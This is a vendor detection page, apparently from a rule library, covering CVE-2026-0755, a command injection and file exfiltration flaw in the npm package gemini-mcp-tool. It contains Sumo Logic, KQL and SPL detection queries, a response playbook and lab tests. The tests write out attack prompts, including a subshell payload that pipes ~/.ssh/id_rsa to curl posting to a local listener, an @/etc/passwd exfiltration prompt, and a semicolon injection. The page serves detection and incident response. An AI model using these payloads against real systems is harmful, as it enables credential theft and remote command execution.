CVE-2026-0755 Sumo Logic CSE · Sumo

Detect CVE-2026-0755: gemini-mcp-tool OS Command Injection and File Exfiltration via Prompt Quoting in Sumo Logic CSE

CVE-2026-0755 is a critical OS command injection vulnerability (CWE-78) in the npm package gemini-mcp-tool versions >= 1.1.2 and < 1.1.6. Attackers can craft malicious prompts containing unescaped shell metacharacters or @file directives to achieve arbitrary OS command execution and local file exfiltration on systems running the affected MCP tool. The vulnerability arises from insufficient sanitization of user-supplied prompt strings before they are passed to underlying shell execution contexts. A public proof-of-concept exists. CVSS score is 9.8 (Critical).

MITRE ATT&CK

Tactic
Execution Collection Exfiltration

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=endpoint/process OR _sourceCategory=os/linux/audit OR _sourceCategory=windows/sysmon
| where process_name matches /node/ or command matches /gemini-mcp-tool/ or command matches /gemini_mcp/
| where command matches /(@[A-Za-z0-9_.\-\/:]{2,})/ or command matches /[;&|`$(){}\[\]<>]/ or command matches /(bash\s+-c|sh\s+-c|cmd\s+\/c|powershell\s+-enc)/
| eval injection_type = if(command matches /(@[A-Za-z0-9_.\-\/:]{2,})/, "file_exfil", if(command matches /(bash\s+-c|sh\s+-c)/, "shell_spawn", "metachar_injection"))
| count by _sourceHost, user, process_name, command, injection_type
| order by _count desc
critical severity medium confidence

Sumo Logic query identifying gemini-mcp-tool processes exhibiting OS command injection or file exfiltration patterns as described in CVE-2026-0755.

Data Sources

Sumo Logic Endpoint SourceLinux AuditWindows SysmonCloud Syslog

Required Tables

endpoint/processos/linux/auditwindows/sysmon

False Positives & Tuning

  • Development environments where gemini-mcp-tool is used interactively with rich text prompts
  • AI agent orchestration platforms passing complex tool arguments containing shell metacharacters
  • Test suites validating gemini-mcp-tool's input handling with edge-case inputs

Other platforms for CVE-2026-0755

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2026-0755 Basic OS Command Injection via Shell Metacharacter in Prompt

    Expected signal: Sysmon/auditd execve event showing node spawning sh or bash with -c flag; /tmp/cve_2026_0755_poc.txt created with output of id command

  2. Test 2CVE-2026-0755 @file Exfiltration of /etc/passwd via Prompt

    Expected signal: File read event on /etc/passwd initiated by node process; network connection attempt to Gemini API endpoint (generativelanguage.googleapis.com) carrying file contents

  3. Test 3CVE-2026-0755 Credential Harvesting via Subshell Injection and Exfiltration

    Expected signal: Process events: node -> sh -c '$(...curl...)'; network connection from node process to 127.0.0.1:4444; file read on ~/.ssh/id_rsa by the injected shell command

Last updated: 2026-07-13 Research depth: standard
References (4)

Response Playbook

Triage

  1. Identify the host and user account running gemini-mcp-tool. Determine the installed npm package version using `npm list -g gemini-mcp-tool` or `npm list gemini-mcp-tool` in the project directory to confirm if the version falls within >= 1.1.2, < 1.1.6.
  2. Examine process tree at time of alert: capture parent process, child processes spawned by node, and full command-line arguments. Determine if a shell interpreter (bash, sh, cmd.exe, powershell) was launched as a child of the node process.
  3. Review MCP server logs and any available stdin/stdout captures to identify the prompt payload that triggered the injection. Look for unescaped shell metacharacters ($, ;, &, |, backticks) or @file references pointing to sensitive paths such as ~/.ssh/, /etc/passwd, ~/.aws/credentials.
  4. Correlate with network telemetry to detect potential data exfiltration: look for outbound HTTP/S, DNS, or raw TCP connections from the node process or its child shells immediately following the injection event.

Containment

  1. Immediately isolate the affected host from the network if active exfiltration or lateral movement is confirmed. Use EDR host isolation (CrowdStrike, Defender) or firewall rules to block outbound traffic while preserving forensic state.
  2. Downgrade or remove the vulnerable gemini-mcp-tool package: `npm uninstall -g gemini-mcp-tool` followed by `npm install -g [email protected]` (or latest patched version). Audit all project-local installations across the environment using asset management or EDR queries.

Evidence Collection

  1. Collect a full memory dump of the node process and any spawned child shell processes before termination. Capture /proc/<pid>/cmdline, /proc/<pid>/environ, and open file descriptors on Linux; use Task Manager or ProcDump on Windows.
  2. Preserve MCP tool logs, npm debug logs, and any application-level logging from the AI agent orchestrating gemini-mcp-tool. Capture the full prompt payload if logged, and retain network capture (PCAP) of connections made during the injection window.

Escalation Criteria

  • !Escalate to IR if child processes were observed accessing credential stores (SSH keys, AWS/GCP/Azure credential files, browser password databases, keychain), or if outbound connections carried encoded payloads to external infrastructure.
  • !Escalate if the injection was delivered via a remotely controlled AI prompt (e.g., through a public-facing chatbot or agent pipeline), indicating potential supply-chain or adversarial prompt injection attack surface, not just local developer exploitation.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >npm global package registry: `~/.npm`, `/usr/local/lib/node_modules/gemini-mcp-tool/` — check package.json version field to confirm vulnerable installation
  • >Process audit logs (Linux auditd syscall=execve, Windows Sysmon Event ID 1) capturing node.exe or node spawning bash/sh with -c flag and injection payload
  • >MCP server stdout/stderr logs or any application logging capturing the raw prompt string that triggered exploitation
  • >Network flow records (NetFlow, VPC Flow Logs, Windows Firewall logs) for outbound connections initiated by the node process tree during the exploitation window
  • >Filesystem access logs or auditd rules on sensitive paths (~/.ssh, ~/.aws, /etc/passwd) to determine which files were read via @file exfiltration

Tuning Guidance

Start with high-confidence signals: node processes directly spawning bash/sh/cmd with -c flags where the parent command line contains 'gemini-mcp'. Reduce false positives by scoping to production and shared developer servers first (excluding known local dev workstations). Add process parent-chain depth filtering to require the gemini-mcp-tool reference within 2 hops of the shell spawn. For @file detections, allowlist known legitimate file reference patterns used in your environment (e.g., @/tmp/prompt-context.txt patterns from approved automation). Tune severity downward to medium on developer endpoints where interactive gemini-mcp-tool use is expected, and maintain critical severity on servers, CI/CD runners, and AI agent infrastructure.

Hunting Queries

Threat hunt for historical evidence of gemini-mcp-tool spawning shell interpreters or data-transfer utilities across the environment — surfaces exploitation attempts that may not have fired real-time alerts.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName =~ "node.exe" or InitiatingProcessFileName =~ "node"
| where FileName in~ ("bash", "sh", "cmd.exe", "powershell.exe", "curl", "wget", "python", "python3")
| where InitiatingProcessCommandLine has_any ("gemini-mcp", "gemini_mcp")
| summarize count(), make_set(ProcessCommandLine), make_set(AccountName) by DeviceName, InitiatingProcessCommandLine, FileName
| order by count_ desc
Hunting — SPL
spl 
index=* (sourcetype=sysmon OR sourcetype=auditd)
| eval parent_is_node=if(match(parent_process, "node"), 1, 0)
| eval grandparent_has_gemini=if(match(grandparent_process_cmdline, "gemini-mcp"), 1, 0)
| where parent_is_node=1 AND process_name IN ("bash", "sh", "curl", "wget", "python", "python3", "cmd.exe", "powershell.exe")
| stats count by host, user, parent_process_cmdline, process_name, cmdline
| sort -count

Atomic Red Team Tests

Test 1 CVE-2026-0755 Basic OS Command Injection via Shell Metacharacter in Prompt
linux

Simulates an attacker passing a crafted prompt containing a semicolon-separated OS command to gemini-mcp-tool, triggering command injection via unescaped shell metacharacters. Lab environment only.

Command

bash 
npm install -g [email protected] && echo 'Installed vulnerable version' && node -e "const { execSync } = require('child_process'); execSync('echo test; id > /tmp/cve_2026_0755_poc.txt', { shell: true }); console.log(require('fs').readFileSync('/tmp/cve_2026_0755_poc.txt', 'utf8'));"

Cleanup

bash 
npm uninstall -g gemini-mcp-tool; rm -f /tmp/cve_2026_0755_poc.txt

Expected Telemetry

Sysmon/auditd execve event showing node spawning sh or bash with -c flag; /tmp/cve_2026_0755_poc.txt created with output of id command

Expected Detection

Alert on process chain: node -> sh -c 'echo test; id > /tmp/cve_2026_0755_poc.txt' with gemini-mcp-tool in parent command line

Test 2 CVE-2026-0755 @file Exfiltration of /etc/passwd via Prompt
linux

Simulates the @file exfiltration vector where an attacker crafts a prompt referencing /etc/passwd. In vulnerable versions, the file content is included in the request to the Gemini API, leaking local file contents to an external service.

Command

bash 
npm install -g [email protected] 2>/dev/null; export GEMINI_API_KEY=FAKE_KEY_LAB_ONLY; echo 'Summarize this: @/etc/passwd' > /tmp/malicious_prompt.txt; cat /tmp/malicious_prompt.txt; grep -o '@/etc/passwd' /tmp/malicious_prompt.txt && echo 'DETECTION: @file reference to /etc/passwd found in prompt'

Cleanup

bash 
npm uninstall -g gemini-mcp-tool; rm -f /tmp/malicious_prompt.txt

Expected Telemetry

File read event on /etc/passwd initiated by node process; network connection attempt to Gemini API endpoint (generativelanguage.googleapis.com) carrying file contents

Expected Detection

Alert on @file regex match in gemini-mcp-tool command-line arguments referencing /etc/passwd or other sensitive paths; file access audit event for /etc/passwd by node process

Test 3 CVE-2026-0755 Credential Harvesting via Subshell Injection and Exfiltration
linux

Simulates a chained attack where an adversary injects a subshell expression into the gemini-mcp-tool prompt to read SSH private keys and exfiltrate them via curl to an attacker-controlled server. Lab environment only — use a controlled netcat listener as the exfil destination.

Command

bash 
npm install -g [email protected] 2>/dev/null; nc -lvnp 4444 &>/tmp/nc_listener.log & sleep 1; echo 'Translate this: $(cat ~/.ssh/id_rsa | curl -s -X POST -d @- http://127.0.0.1:4444/)' > /tmp/exfil_prompt.txt; cat /tmp/exfil_prompt.txt; echo 'Simulated prompt with subshell and curl exfil prepared'

Cleanup

bash 
npm uninstall -g gemini-mcp-tool; pkill -f 'nc -lvnp 4444'; rm -f /tmp/exfil_prompt.txt /tmp/nc_listener.log

Expected Telemetry

Process events: node -> sh -c '$(...curl...)'; network connection from node process to 127.0.0.1:4444; file read on ~/.ssh/id_rsa by the injected shell command

Expected Detection

Alert on subshell pattern $() in gemini-mcp-tool prompt combined with curl child process spawned by node; network detection on outbound POST from node process tree to non-Gemini endpoint

Related Detections

Tactic Hubs

TA0002ExecutionTA0009CollectionTA0010Exfiltration

Related Techniques

T1059Command and Scripting InterpreterT1005Data from Local SystemT1041Exfiltration Over C2 Channel

Same Tactic: Execution

Popular Detections